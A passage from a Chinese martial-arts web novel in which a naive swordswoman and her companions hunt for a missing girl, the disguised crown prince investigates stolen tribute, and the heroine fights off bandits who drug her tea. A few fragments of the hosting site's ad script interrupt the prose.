这场偶然的相遇,也终会淹没在岁月的长河里。 见姜蝉衣离开,车夫将马车赶了过来,燕鹤收回视线,道:“去玉家。” 车夫:“是。” 去玉家,需要路过方才来时的路。 但这条街上较为拥挤,马车许久才进入正街。 来时耳边都是少年们的惊叹,如今耳朵清静了,竟似有一瞬的不习惯。 燕鹤推开窗,朝外望去。 外头热闹的景象让他轻轻勾起了唇。 突然,一道身影猝不及防的撞进眼底。 燕鹤目光微定。 只见方才刚刚与他道别的小娘子正在杂耍旁边舞剑。 不同于剑舞,她剑风凌厉,快如疾风,一手剑花漂亮到极致,显然是有真功夫的。 橙色的裙摆随着她的动作荡漾起伏,高束的马尾更添几分英气。 车夫也瞧见了,回头惊讶的道:“公子,是姜姑娘!” 燕鹤回神,唇角轻轻上扬。 原来这就是她说的生财之道。 舞剑结束,小娘子捧着他给她的那方帕子笑盈盈接打赏,但欢呼喝彩的人多,给赏钱的却很少。 他大致数了数,大约是三十文左右。 三十文,不够她今夜在此落脚。 燕鹤取下荷包,在里头翻翻捡捡,从一锭银子换成一个约有一两的碎银子,看准时机稳稳抛入那方锦帕中。 姜蝉衣看着突然砸在自己帕子里的一两银子一愣,而后飞快抬头,眼前却只有一辆陌生的马车。 她又四下望了眼没寻到来处,便收起帕子拱手:“多谢。” 时辰不早了,她得先找个地方落脚,明日一早就去刘家将宝石赎回来。 而就在她低下头时,那辆青色马车驶过,露出被遮挡住的属于燕鹤的马车。 燕鹤再抬眸,只看见小娘子的背影,便收回视线准备关上窗,然就在这时,余光又瞥见一道熟悉的人影。 却是方才说再会的书生支了个摊子在卖字画并代写书信。 车夫惊讶的声音又传来:“呀,那不是云少侠吗?” 燕鹤一怔,推开右边那扇窗望去。 只见街边饭馆里,少侠系着粗布围腰,肩上搭着帕子,热情的擦桌子,收盘子。 虽然他尽力表现的很自然,但不难看出动作很生疏。 应该是第一次当伙计。 怪不得一个个跑这么快,原都是见这条街繁华,赚钱来了。 每个人都好像与初见不同,但又好像他们一直是这样生动有活力。 燕鹤关上窗,将热闹喧嚣挡在了外头。 _ 次日一早,姜蝉衣搭了辆去镇子的马车,前往刘家。 剑上没有宝石,总觉得少点什么。 进了巷子,姜蝉衣远远就看见有人在敲刘家的大门,快步走过去,还没看清人就听见了熟悉的声音。 “有人吗,我来赎玉佩了!” 姜蝉衣有些意外道:“云少侠?” 云广白回头见是姜蝉衣,也是一惊:“姜姑娘也来了。” 姜蝉衣点头:“嗯,我来赎宝石。” “没人吗?” 云广白皱眉道:“我敲了半天了,也没有人开门。” 姜蝉衣上前扣了扣门,疑惑道:“昨日才办满月酒,今日不应该大门紧闭才是。” 一般这时候,远些的宾客都还没走。 云广白心中一咯噔:“该不会出什么事了吧。” 他的玉佩可万万丢不得! 不然他老子能给他松层皮。 “有人吗?有人吗?开门!” 里头不见回应,外头倒是传来一道声音:“咦,云少侠,姜姑娘,你们也来了?” 二人回头,只见书生背着箧笥一脸惊喜的走过来:“你们都赚够赎金了?” 云广白囫囵嗯了声,别过头。 他堂堂侠盗,绝不会说他昨夜端盘子擦桌子赚来的赎金! 姜蝉衣也想起了师父的话。 ‘你已满十六,是时候下山了,不过还不到回家的时候,且先下山游历去吧,切记,出门在外不可辱没师门!’ 卖艺算辱没吗? 罢了,只要她不说,就没人知道。 徐青天见二人不语,也识趣的不再继续问,看向大门:“怎么了,没人在家吗?” 云广白:“不知道,我来了半刻钟了,一直没人开门。” 话音刚落,门就吱呀响了。 云广白面色一喜:“有人!” 开门的人显然认得他们,怔了怔后,不满道:“是你们,你们昨儿搅了主人的满月宴,今日又来干什么,主人家今儿心情可不好,再想来闹事没昨儿那般容易放过你们了。” 姜蝉衣忙拿出字据道:“我们是来赎昨日抵押给你们大公子的物件的。” 云广白徐青天也忙点头。 那家仆将信将疑的看了眼,确认是他们公子的印章,才面色不佳的道:“等着。” 说完,他就将门关上折身离开了。 三人:“…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “我怎么觉得气氛不大对?”徐青天。 “他刚才说他主人心情不好。”姜蝉衣。 云广白:“这不刚刚喜得长孙,怎么会心情不好?” 姜蝉衣摇摇头,谁知道呢。 没等多久,那人去而复返,打开门:“进来吧。” 家仆神情沉重,不耐多说话,几人也就歇了询问的心思。 “几位在此稍后。” 家仆将几人带到正厅,便脚步匆匆的离开了。 被扔下的几人面面相觑。 昨日见过刘家的待客之道,从上到下都很注重礼节,眼下如此,看来确实是出了事。 大约过了一刻钟,刘家大郎君匆匆过来,简单道了礼,便将三人的东西一一归还,撕毁了字据。 全程没有一句废话,像很着急的要打发他们。 几人也识趣,见此一个字也不多说,付清了银钱便要告辞。 就在这时,家仆突然惊慌的跑过来:“公子,姑奶奶要自缢……” 话音在看到厅里还有外人后戛然而止。 刘大公子的脸色骤然沉了下去。 古道热肠的云少侠实在忍不住了,道:“刘公子,需要帮忙吗?” 话问出口就后悔了。 若没听错人家方才喊的姑奶奶寻死,这怎么看都不像是他们能帮得上忙的。 果然,刘公子沉声说了句不必,便请他们离开。 云广白几人也就不欲多留,折身就走,可还没踏出正厅,却突然被叫住。 “等等!” 几人回头,便见刘公子神情复杂的看着他们,准确的来说,是看着他们手中的剑。 姜蝉衣低头看了眼佩剑,不解问道:“刘公子还有事?” “二位是江湖中人?” 刘公子抬头看向姜蝉衣和云广白。 姜蝉衣想了想,点头:“嗯。” 她在落霞峰长大,算是江湖中人。 云广白毫不犹豫点头:“是。” 他堂堂侠盗,怎么不算江湖人。 刘公子几番犹豫后,面色沉凝道:“有一事,不知可否请几位帮忙,若能做成,必当重谢。” 姜蝉衣眼睛一亮:“多重?” 云广白徐青天:“……” 看出来了,落霞峰确实穷的揭不开锅! “十两。”刘大公子。 十两! 几人对视一眼,皆从对方眼里看到了心动,十两够他们像昨夜那样胡吃海塞一顿了。 “每人十两金。” 刘大公子以为三人是同伴,便看向徐青天:“若兄台也愿意帮忙的话。” 十两,金?!! 姜蝉衣立刻正色问:“什么事?” 云广白:“只要不伤天害理,我必能办成!” 徐青天:“赴汤蹈火在所不辞!” _ 与此同时 燕鹤坐在玉家正厅主位,皱眉盯着管家:“丢了?” 管家苦着脸点头:“回禀殿下,押送途中遇到刺客,对方有备而来,高手众多,千洲公子重伤下落不明,昨夜查到千洲公子曾在被追杀的途中与一位小娘子有过接触,可今儿一早派去的人便传了信来,那小娘子昨夜也丢了。” “如今家主不在平江,家里又没主母,这可如何是好啊。” 管家一边抹泪一边偷偷看燕鹤。 燕鹤:“……此事我来查。” 管家立刻跪倒在地,感激涕零:“多谢殿下!” 6. 第 6 章 小镇外的官道上,少年少女并肩而行,面上皆是凝重。 这趟差事很有些棘手。 刘家昨日,丢了位小娘子。 小娘子名唤宣则灵,是刘家的表姑娘,前几日随母亲到刘家吃满月酒,昨夜宾客散去,宣则灵的女使慌张来报,姑娘不见了。 因路途遥远,刘三娘子这些年很少回娘家,今次也是得知兄长得了长孙,要回老家办满月酒,她思乡情切,不远万里带着女儿回来。 谁知不过三日,女儿丢了! 姑奶奶哭的昏厥,几番寻死。 刘家乱做了一团。 徐青天再次展开画卷,愁眉苦脸的盯着画卷上容貌清丽的小娘子:“好好的小娘子,怎么会丢了呢?” 姜蝉衣皱着眉:“他们为何不报官?” 而是选择将这么重要的事交给他们? 云广白看了眼画像,收回视线抱着剑道:“姜姑娘刚入世有所不知,小娘子失踪一夜的消息传出去,有损清誉。” 姜蝉衣不解:“还能比命重要?” 自小师父就告诉她,要敬畏生命,活着才最重要。 她就是为了活着才离家十六年,成了落霞峰的大师姐。 “我当然不这么认为,人活着比什么都好。”云广白眼底划过一些沉重,片刻便消散,无奈的耸了耸肩:“但刘家有刘家的顾虑,我们得尊重。” 徐青天低叹一声,小心翼翼收起画,道:“二位应都是初出江湖,对这些事所知不深。” “小娘子失踪一夜,寻回来不管有没有事,在旁人看来那都不清白了,轻则落发,重则丢命,以保全姊妹和家族的名声。” 徐青天无奈道:“虽然我也觉得太过苛刻,但没办法,世道如此。” 姜蝉衣眉头紧皱。 师父这些年致力于让她文武双全,从未告诉过她世间还有这样荒唐的规矩。 “况且,你们可知这位小娘子是谁?” 云广白:“不是刘家的表姑娘?” 徐青天神情凝重道:“她的父亲是玱州通判,宣伯棠。” 云广白一怔:“玱州通判?” 这点倒是很出乎他的意料。 婚姻大事大都讲究门当户对,士农工商,两家阶级分明,却不曾想竟是姻亲。 “这事要从很多年前说起了,那会儿宣家家徒四壁,宣老爷子走的早,宣老夫人将儿子拉扯大已是用了全力,根本没有银钱供儿子科考。”徐青天徐徐道:“当时刘家已是小富,刘三娘子也素有美名,宣老夫人便上门提亲。” “宣家虽然穷,但刘老爷子有远见,知道宣伯棠是块读书的料子,加上刘三娘子也看上了宣伯棠的清俊,这门婚事就这么定下了,事实证明刘老爷子确实有眼光,宣伯棠一举中了进士,从县丞一路爬到了玱州通判的位置。” 徐青天:“宣家是体面人,功成名就后也未纳妾,宣伯棠守着曾经的承诺,一生一世一双人。” 云广白扬起眉:“宣伯棠倒是个有良心的。” 姜蝉衣:“不本该这样吗?” 云广白,徐青天:“……” 罢了,这位大师姐才入世,还没有经过尘世的浸染。 “刘三娘子共诞下一子一女,长子聪睿,才貌双全,女儿钟灵毓秀,据闻,宣伯棠爱女如命,若被通判大人知道爱女丢了那还得了。” 徐青天接着道:“而且小娘子才定了亲事,是夙安府的公子,因此,刘家更不敢报官。” 云广白听明白了。 “所以刘大公子问我们是不是江湖人,不仅因为我们有本事在身,还因江湖中人不涉朝堂,只要我们闭嘴,不管我们有没有将人寻到,都不会损了宣姑娘的名声。” “这是死马当活马医?” 姜蝉衣却道:“若此事这般紧要,刘大公子应该还寻了别的法子。” 不会将所有希望都放在他们身上。 “有道理。” 云广白:“但徐兄一看就是书生,将来是要入朝的,他怎么会信任徐兄?” 姜蝉衣:“他应当以为我们是一伙的。” 徐青天纠正:“……姜姑娘,我们人世间管这叫同伴。” “喔。” 姜蝉衣:“请问同伴们,有什么头绪了吗?” 徐青天沉默了。 据宣姑娘的女使说,昨天最后见到宣姑娘约在戌时四刻,至今已近七个时辰。 这么长的时间,若快马加鞭,能跑出两个城了。 “茫茫人海,要寻一个小娘子犹如大海捞针,这十两金不好挣。”云广白叹道。 姜蝉衣:“好挣就不会开这个价了。” 云广白:“……好有道理。” 又走出二里路,姜蝉衣道:“这么毫无章法的找下去不可能有结果。” 徐青天:“姜姑娘有何高见?” 云广白也眼带希冀的望过来,却见姜蝉衣看向不远处的饭馆:“先吃饭。” 云广白,徐青天:“……” 二人对视了眼,又眼神闪躲的挪开。 吃饭也不是不行。 问题是,有钱吃么? 片刻后,云广白上前碰了碰姜蝉衣的胳膊:“那个,姜姑娘,你还剩了多少文钱,我们看看能不能拼一顿饭。” 姜蝉衣在心里默默算了算。 昨夜挣了一两三十二文,住客栈用了一百文,今日赎宝石加早饭用了九十文,她还有八百四十二文。 这在以往来说是很大一笔钱,但一想到昨夜一顿饭十两,她心里又没底了。 “你们呢?” 云广白迅速摸出了八文钱,徐青天也伸出手,掌心贴着一文。 姜蝉衣:“……” “就算在这里吃碗面也要十几文。”云广白小心翼翼凑近:“姜姑娘,我们能拼成一碗面吗?” 一碗面十几文,那她吃得起。 “这里的饭菜要比昨夜那里便宜些?” 徐青天:“昨夜那可是平江城,这里自然要便宜些,但若点上一桌菜,怎么也得一百多文。” 姜蝉衣若有所思的喔了声,然后在云广白和徐青天震惊的目光中,拿出钱袋子:“有八百多文,够了。” 云广白当即眼冒星光,惊喜交加,不敢置信:“这都是姜姑娘昨夜挣的?” “嗯。” “怎么挣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的?” 徐青天紧跟着问。 他昨夜一共才挣了八十多文,还了债吃个早饭搭个马车就只剩一文了。 两双眼睛亮晶晶的望着她,姜蝉衣思索片刻,如实道:“卖艺。” 说罢,姜蝉衣就快步往饭馆走去,完全没发现云广白和徐青天立刻呆滞的神情。 等人走远,徐青天才面色复杂的喃喃道:“姜姑娘应该不会被人骗了吧?” 不怪他多想,卖什么艺一晚上能挣这么多,且这位大师姐心性单纯,模样又实在出挑,要是被人蒙骗,误入歧途…… 云广白眉头紧皱:“不应该吧,她会武功,该不会上这种当。” “她不是被骗过五百文?”徐青天:“更何况那里头的人个比个个的人精,骗一个单纯的小娘子还不容易?” 云广白心里也没底了,他咬咬牙道:“去问仔细些。” 要真是误入歧途,必须得将她掰回来! 为了方便说话,云广白选了外头最偏远的位置,见周围无人,凑近姜蝉衣,轻声道:“姜姑娘,恕我冒昧,不知姜姑娘方才说的卖艺是指?” 姜蝉衣见他们这般神秘,以为他们也是想去赚钱,便也倾身凑近,低声道:“你们是不是也想去卖艺?” 云广白徐青天对视一眼,点头:“是。” 姜蝉衣便大方传授经验:“我见我们昨夜路过的那条街上有很多人卖艺,便去寻了个地方舞剑,这些钱都是客人打赏的,有一位客人很大方,赏了一两银子,我准备今夜再去碰碰运气,你们一起吗?” 二人当即松了口气。 原来是这样。 不过他们昨夜也在那条街上,竟没有看见她,云广白便随口道:“姜姑娘昨夜在何处舞剑?” 姜蝉衣仔细回想后,道:“好像是在一家唤作春风楼……” 云广白徐青天霎时脸色大变。 恰小二过来上茶,云广白迅速打断姜蝉衣:“姜姑娘!” 春风楼那不是青楼吗! 合着她还是遭人骗了! 大师姐不懂红尘,说的坦荡,但若被旁人听去难免要误会。 姜蝉衣被打断,莫名地看着云广白。 “三位吃点什么?” 小二热情道。 “没有菜本子吗?”姜蝉衣问。 小二陪笑道:“我们店小没有菜本子,只有块木牌,姑娘可到那边去点菜。” “行。”姜蝉衣起身走过去。 她一离开,云广白就眯起眼:“姜姑娘恐怕根本不知道春风楼是什么地方!” 徐青天:“绝对是被人诓骗进去的。” “打赏一两的那个人肯定别有用心!” “如今我们同办一桩差事,已是同伙,断不能坐视不理。”侠气冲天的云少侠道:“今夜跟着姜姑娘,看是谁诓骗她进的春风楼,狠狠揍他一顿,若那个别有用心的再来,也揍一顿!” 徐青天:“……同伴!” 二人不知,此时在一窗之隔的里间,就坐着那位‘别有用心’的人。 燕鹤端着茶盏面无表情,车夫低头努力地憋着笑。 这误会好像大了。 7. 第 7 章 姜蝉衣点完菜回来,二人交换了个眼神,立即噤声。 他们达成共识,大师姐心性单纯,那种腌臜事还是少知道为好,他们今夜再想办法阻止她就是。 菜一上来几人也没功夫再说话,动作迅速的吃完饭便离开了。 如今有差事在身,耽搁不多。 耽搁的越久,宣家小娘子就越危险。 姜蝉衣几人离开后,燕鹤也从里头走了出来,朝他们的反方向而去。 小半个时辰后,马车停在了刘家门外。 车夫侧首道:“公子稍后,属下进去问问情况。” “嗯。” 燕鹤想着他不会那么快出来,便磨了墨给小叔叔也就是明亲王府的小王爷写信。 燕鹤便是当朝太子,谢崇。 而说起他那位小叔叔谢蘅,那真是让无数人头疼的存在。 他这位小叔叔自小身子骨弱,几次都是从鬼门关将人抢回来,也因此,不仅明亲王府,就是皇宫上下都对这位小王爷纵容至极。 更何况小叔叔还有一位战功赫赫的将军夫人,自从成了婚,小婶婶便成了最纵容小叔叔的人,以至于小叔叔越来越...活跃。 他四岁那年,小叔叔伙同他的二皇叔将他从宫里迷晕偷出了宫,为了回宫,他被迫陪小叔叔吃喝玩乐;八岁那年,小叔叔命他的暗卫统领玄烛叔叔,联合他的老师将他迷晕带出玉京城,开始了他游历江湖的生涯。 从那年开始,不管他愿不愿意,每年都不得不跟小叔叔小婶婶还有王府的弟弟一起江湖游历,反正每次当他醒来发现自己在一些稀奇古怪的地方时,他就知道,他又被小叔叔偷出宫了。 原本小叔叔每年都会和小婶婶出城游玩,美名其曰带他游学,今年没来是因为弟弟妹妹在玉京上天入地,上房揭瓦,打架斗殴,将小叔叔气的没心情出来。 但小叔叔不走,却把他丢出京。 因为小叔叔一直认为他太过古板无趣,怕他将来认死理,说什么要让他在尘世中多侵染侵染,变得有趣些。 他也不知道怎样才算有趣。 半个月前,他醒来发现自己已经在京城百里外,便也歇了回去的心思,根据以往的经验,不满三个月,他就算想办法回去了也还得再被丢一次。 母后最初还为他说几句话,到如今已经睁一只眼闭一只眼了,父皇更不用说了,第一回他被迷晕带出京,收到父皇的第一封信上只有一句话,不许他惹小叔叔生气。 因为小叔叔身体不好,气不得。 气不得,那他就只有随遇而安。 他此次先来平江城本只是帮小叔叔给玉叔叔送一件宝物,谁料到玉叔叔几日前被一位女子追的逃出了城,至今未归。 偏就在此时,玉家镖局押送进京的贡品被劫。 镖局二当家重伤下落不明,贡品也丢失,玉家的主人被女子追的不见踪影,其他得力的也都各有要事在身,剩一个耳不清目不明的老管家在家里。 寻贡品的差事就这么巧合的,且好像理所当然地落在了他身上。 ‘叩问王叔安,侄崇已至平江,玉叔叔桃花缠身被迫离城,崇不得见’ 燕鹤在末尾加了句:‘玉家镖局押送的贡品丢失’ 这位玉叔叔也是个奇人,乃江南首富,皇商玉家的家主,玉明澈。 玉叔叔在闯祸这方面与小叔叔不遑多让,只不过小叔叔闯了祸,有皇祖父,九爷爷,父皇,皇叔等很多人替小叔叔善后,而玉叔叔闯了祸,只有小叔叔小婶婶给他收拾烂摊子。 他跟着小叔叔小婶婶游历江湖那些年,这样的事没少发生,玉叔叔和小叔叔一样,每次闯的祸都千奇百怪,常常将小叔叔气的骂骂咧咧,他那时便看着到他腰间的弟弟想,弟弟长大了千万不能像两位叔叔这样会闯祸,但后来这个愿望落空了,弟弟将小叔叔的本事学的炉火纯青,在玉京掀起一阵又一阵风浪。 而那时的他也怎么都没想到,有朝一日,他还要扛起替玉叔叔善后这个责任。 笔墨刚干,车夫便回来了。 车夫实则也不是车夫,是太子的贴身暗卫,名唤金酒。 金酒进了马车,神色凝重的禀报道:“公子,刘家失踪的小娘子是玱州通判宣伯棠的嫡女。” 燕鹤拿起书信的手微微怔了怔:“宣家的娘子怎会在此?” 这位通判他知道,他曾经随小叔叔到玱州与他有过一面之缘。 那会儿便听说他有一女,爱之如命。 “属下问过了,刘家与宣家是姻亲,刘家的三娘子便是如今的宣夫人,此次是带着宣姑娘回娘家吃满月酒的。”金酒解释道:“当年宣家家徒四壁,揭不开锅,与刘家结亲后,宣伯棠才得以继续科考。” “原是如此。” 燕鹤默了片刻,道:“关于宣姑娘失踪一事,刘家如何说?” 金酒凝眉道:“据宣姑娘的贴身女使称,最后一次见宣姑娘是在昨夜戌时四刻,当时宣姑娘不愿去前院,独自在院中饮茶,女使受命随宣夫人去前院帮忙,亥时三刻,宾客散去女使回院子后才发现宣姑娘已经不见了。” “院中有打斗的痕迹,茶案上的茶杯也被打翻,像是贼人进来时宣姑娘正在饮茶。”酒顿了顿,继续道:“刘家人不知贡品,也不知宣姑娘此前见过千洲公子。” “初时刘家不愿意说,属下拿出了玉家的印信他们才说实话,这是宣姑娘的画像。” 燕鹤看了眼后,微皱着眉头,指尖在书信上轻轻摩挲。 这是他思考时惯有的习惯。 金酒便没出声打扰,好半晌,才听燕鹤道:“让人去玱州查宣家娘子。” 小娘子在家中被掳走的可能有三个。 一是贡品,二是小娘子有仇家,三是贼人闯入临时起意。 虽然依眼下来看,多半是冲着前者来的,但也不能完全排除后两者,可小娘子才到镇子上不过三日,平日又是闭门不出,不可能与谁结这么大仇,只能是玱州的恩怨。 而最后一个,是最不容乐观的。 因前两者都有可图,或许短时间内不会伤害小娘子。 “另外,让人沿路查平江粟江二城,昨夜城门已关,人若是进了城,多半在今晨,此时应走不远。” 眼下没有任何线索,只能一一排查。 金酒几番欲言又止。 燕鹤瞥见:“怎么了?” 金酒颔首道:“公子,这次出来,我们没带人。” 燕鹤:“...暗卫呢?” 金酒苦着脸道:“小王爷动作太快了,您知道的,师叔他武功极高,我们的暗卫还没有反应过来,属下和公子就已经连夜离京几百里,眼下一个都还没找过来。” “师叔在属下醒来后,就和师婶不见了踪影。” 金酒口中的师叔就是小王爷谢蘅的暗卫统领,玄烛。 那是个武学造诣堪称巅峰的人。 燕鹤平静的面上难得起了丝裂痕。 再是离京几百里,半个月了,再怎样都能摸过来几个人,眼下一个人都没到,很明显,他们的行踪被人抹去了。 敢且会这么做的人,只有小叔叔。 不用问,小叔叔一定有他自己的理由。 比如让他历练,让他感受自由的山河等等。 “公子,现在该怎么办。”金酒小心翼翼问。 他自然也清楚这肯定是小王爷做了手脚,但眼下无人可用,他一个人也不可能在短时间内沿路查两座城。 只几息,便见燕鹤平静道:“你沿路往平江城查,我去粟江,明日在平江城会合。” “我再写一封信你让人送往玱州,这封信送去玉京。” “可是公子,您一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个人...” 金酒接过信,神色担忧。 “我的武功在你之上,无需为我担心。” 燕鹤不容置疑道:“此事耽搁不得,只有找到宣姑娘或许才能得知那位千洲公子和贡品的下落,且多拖一刻宣姑娘便多一分危险,你赶着马车前往平江,我另买一匹马去粟江。” 金酒见他注意已定,便知无法再劝,恭声应下:“是。” 小王爷这些年费尽心思要让公子变的有趣,有没有变有趣先不说,公子在心态这一块,那是被磨地极其平稳的,说句泰山崩于眼前而不变色都不为过。 - 另一边 从饭馆出来,姜蝉衣几人便商议如何找人。 “眼下没有一丁点线索,就只能逐地搜查。” 云广白抱着剑神情凝重道。 “如何逐地搜查?”徐青天问。 姜蝉衣:“你是说从刘家开始一寸寸往外找?” “是。” 云广白道:“贼人劫了宣姑娘后肯定不敢留在镇上,离刘家最近的两座城是平江和粟江,我们先沿路往这两座城搜,宣姑娘失踪的时间在戌时四刻到亥时三刻后,昨夜贼人将宣姑娘掳走后,就算再快也不可能赶在两座城关门之前进城,所以如果宣姑娘进了城,一定是在今天辰时后,现在沿路找过去,或许还能寻到线索。” 徐青天点点头:“云兄所言有理。” “沿路搜查得先有马。”恰好前方就有一个马厮,姜蝉衣边快步走过去,边道:“徐公子会骑马吗。” 徐青天点头,又摇头。 云广白皱眉:“...到底会不会?” 徐青天微笑:“有人牵着会。” “为将来考上状元游街特意学的。” 姜蝉衣云广白:“....” 先不管次次落榜的人如何考上状元,你管有人牵着马走叫会骑马? 云广白别过眼,唤来老板:“租马多少钱?” 老板迎上来,热情道:“两百文一天。” 三人瞬间沉默下来:“...” 老板见此笑容淡了些:“几位还租吗?” 姜蝉衣:“租!” 她应该向刘公子要些定金的。 老板笑容又加深:“好的,请客官先来这边立字据画押,再出示路引留存,另一匹马需要交一百文保证金,将马归还时退还。” 姜蝉衣的钱只够租两匹马,好在有一个不会骑马。 “这里离平江城近,徐兄搭马车进城,先在城内寻找。”云广白道:“明日闭城前,我们在城门口会合。” 但搭马车也要钱。 姜蝉衣将租马剩下的钱三个人分了。 方才吃饭花了一百文,租马花了几百文,一共还剩一百三十二文,她给云广白和徐青天和分了四十文。 多的给徐青天搭马车。 徐青天立即承诺:“等赚了银钱,一定将钱还给姜姑娘。” 云广白也认真点头:“嗯,一定还。” 两个大老爷们一路上用小娘子的钱,实在有些难为情。 姜蝉衣嗯了声,便与云广白各自出示路引以供店家誊抄,又立字据画完押,才各自挑了一匹马,姜蝉衣牵着马道:“那我沿路往平江找?” “不行!” 云广白徐青天同时出声否决。 姜蝉衣疑惑的看向二人:“怎么了?” 云广白徐青天对视一眼,前者道:“我去平江城,姜姑娘去粟江。” 那个将姜姑娘骗进春风楼和那个打赏一两银子对姜姑娘别有用心的人都在平江城,眼下绝对不能让姜姑娘单独前往平江。 “我对这条路熟!”云广白。 姜蝉衣闻言未做怀疑,点头:“行。” 就这样,几人在此暂别,往不同的方向而去。 8. 第 8 章 姜蝉衣的骑术是师父教的。 更准确的说,她如今会的一切都是师父教的。 她生下来身子骨弱,一岁那年生了一场大病,差一点就重新投胎,幸得一位神医姑姑在玉京城,吊着她的命,等来了师父。 她的病是疑难杂症中的疑难杂症,稀奇又古怪,需要一位会医术且内功了得的人用内力游走经脉同时施以针灸之术,方可获得新生。 神医姑姑医术了得却没有内功,于是便请跟着老神医学过一段时间针灸之术的师父下山。 可她年岁太小,那病又急又凶,需要长久运功施针,且五岁前随时都可能一命呜呼,但师父不可能在玉京久留,彼时又恰逢一位得道高僧路过,称她虽是金贵命,但她命中有大劫,需往山野之地清修十六年才能归家。 师父所居之地正是山野之间,一切好像是命中注定,两厢权衡后父亲母亲忍痛将她交给了师父。 就这样,她成了师父的首徒,后来师父陆续捡了师弟师妹回来,她九岁便成了落霞峰的大师姐。 至于为何她如今已满十六还不能归家,是因为她还需要施针两年,师父已给家中去信,等她过了十八岁再来接她。 她虽也期盼见到父亲母亲,但也并不急这一时半会儿,她自小就长在落霞峰,落霞峰也是她的家。 五岁后师父确认她不会再随时咽气,便开始教她练功,练功对她身体有益,而除此之外,她还要学很多在她看来对身体无益的东西。 可师傅说她身份显贵,君子六艺,女子八雅,这些她都得学。 但她终究不是那天赋异禀之人。 君子六艺‘礼’‘射’‘御’‘数’她勉强学进去了些,女子八雅‘棋’‘酒’‘茶’略懂皮毛。 而别的都在略懂皮毛的‘皮毛’之外。 师父对此并不强求,因为她学的辛苦,师父也教的辛苦。 除了武功,其他的都是师父现学现教。 因此,她自小就认为师父无所不能! 哦不,除了做饭,师父无所不能。 师弟进门后,她才知道原来吃饭不是一种折磨。 正值午后,太阳最烈时。 姜蝉衣一路寻到山野茶棚,决定歇歇脚再走,就算她不歇,马也遭不住。 这样的马怎样都得要五十贯铜钱,落霞峰倾家荡产都赔不起。 姜蝉衣要了一壶茶,又给马儿买了些草料,一人一马在茶棚暂作歇息。 阳光明媚,风景宜人,伴随着山野中的蝉鸣鸟叫,让人心旷神怡。 此时此刻,还没体验过江湖险恶的大师姐压根儿不知道她到了黑店。 茶棚的老板无数次望过来,都见姑娘精神抖擞,眼神清澈,无半点睡意。 好像他的茶里下的不是蒙汗药,而是提神的东西。 两刻钟过去,茶棚里的人忍不住了。 小二又提了一壶新茶过来,笑着道:“姑娘,您的茶凉了,小的给你换一壶新茶。” 姜蝉衣忙问:“要钱吗?” 小二陪着笑道:“不要。” 边说,他边瞥了眼姜蝉衣腰间的荷包,暗道看来这小娘子身上没有值钱的东西。 但无妨,值钱的是小娘子本身。 这样的姿色百年难遇,卖到青楼去必能大赚一笔。 “小的给姑娘添上。” 小二将又多加了一包蒙汗药的新茶倒进碗中。 “多谢。” 姜蝉衣其实喝不怎么下了,但看小二这样热情,倒也不好拂他的意,端起碗抿了口。 但见小二一直盯着她,她还是将一碗茶饮尽,再次朝他温声道谢:“多谢。” 小二唇角抽了抽,心头大感震撼。 这姑娘什么来头,这个量的蒙汗药都能药倒一头牛了,她怎么跟个没事人似的。 小二拿不定主意,退到一旁低声与老板道:“大哥,怎么办,那小娘子将药当茶喝都不倒。” 老板也纳了闷了。 开黑店这么多年,他还没遇到过这种情况。 “再等等!” 老板咬咬牙:“再等一刻钟,若她还不倒,就动手。” 不论如何,都不能把人放走了。 在黑店一众人的虎视眈眈下,一刻钟很快就过去了,姜蝉衣拿起剑起身准备离开。 就在这时,不知从哪里涌出六七个人将她团团围住。 而被围住的小娘子却面不改色。 “姑娘这是去哪里啊,不如我等送姑娘一程?”那小二也换了一副姿态,语气阴森道。 姜蝉衣看了眼他,又看了眼茶棚老板,问:“青楼是什么地方?” 不防她有此一问,众人都不由愣了愣。 姜蝉衣便又道:“我方才听你们说要把我迷晕,卖到青楼去。” 老板的脸色霎时沉了下来。 他们方才隔得远,又将声音压的极低,她却仍旧听见了,可想而知,怕是有真功夫在身上的。 “青楼可是个好地方。”那小二快速回过神,笑着道:“要不,我们带小娘子去瞧瞧?” 姜蝉衣好像真的在认真思考他的话,但过了一会儿,她摇头:“好像不太行。” “要真是好地方,何需对我下药。” 小二笑容逐渐消失,试探道:“看来姑娘都知道了,小的倒是好奇,姑娘是何时服用的解药。” 他一直盯着她,他很确定她在这期间没吃过任何东西。 “解药?” 姜蝉衣:“我开始不知道你们在我茶里下了蒙汗药,自然也没有服用解药,我是在你上新茶之后听你们自己说的,至于解药……” 姜蝉衣朝他们轻轻笑了笑:“我体质特殊,百毒不侵。” 因自小运功施针泡药浴,百毒不侵不说,如今连药都对她的作用不大,别人喝一副就能好的风寒,她得加量才勉强管用,像迷药麻沸散这类的东西更是对她一点用都没有。 众人闻言纷纷愣住。 原本只是听过这种传闻,却没想到天底下还真有百毒不侵的人。 “你们要动手吗,不动手我就走了。” 姜蝉衣说完看了眼蠢蠢欲动的几人,遂将剑一横:“一起上吧,我赶时间。” 师父说下山不可惹事,惹了事不许报落霞峰的名号,也不能报家中名姓,以免丢人。 但师父还说,如果遇见坏人,尤其是要欺负她的坏人就绝不能手软,必须打回去,要是对方想取她性命,那就往死里打,打死了落霞峰和家里给她善后。 不过,她还不知道青楼是什么地方,尚不能判断要打到什么程度。 不过几个眨眼,黑店中包括老板无一例外倒在地上痛苦呻吟,悔之晚矣。 原以为是个初出江湖没什么本事的小丫头,谁曾想竟是碰上硬茬了! 姜蝉衣将剑放入剑鞘,抵在小二脖颈:“青楼是什么地方?” 小二以为她只是想惩罚他们,吓得赶紧道:“女侠,小人错了,再也不敢了,女侠饶命。” 姜蝉衣皱了皱眉头。 他好像听不懂人话。 小娘子沉默片刻,抡起剑当棍使往小二身上招呼:“青楼是什么地方。” 小娘子看着纤瘦,气力却大得很,一下接着一下落在小二身上,可偏偏跑又跑不掉,躲又躲不开,痛的感觉浑身骨头都断了,小二实在遭不住了只能道:“我说我说,姑娘快停手。” 姜蝉衣便停了手,眼也不眨的盯着他。 小二身上到处都痛,一时也不知道该去捂哪里,边落泪边道:“青楼是供人取乐的地方,做皮肉生意的。” 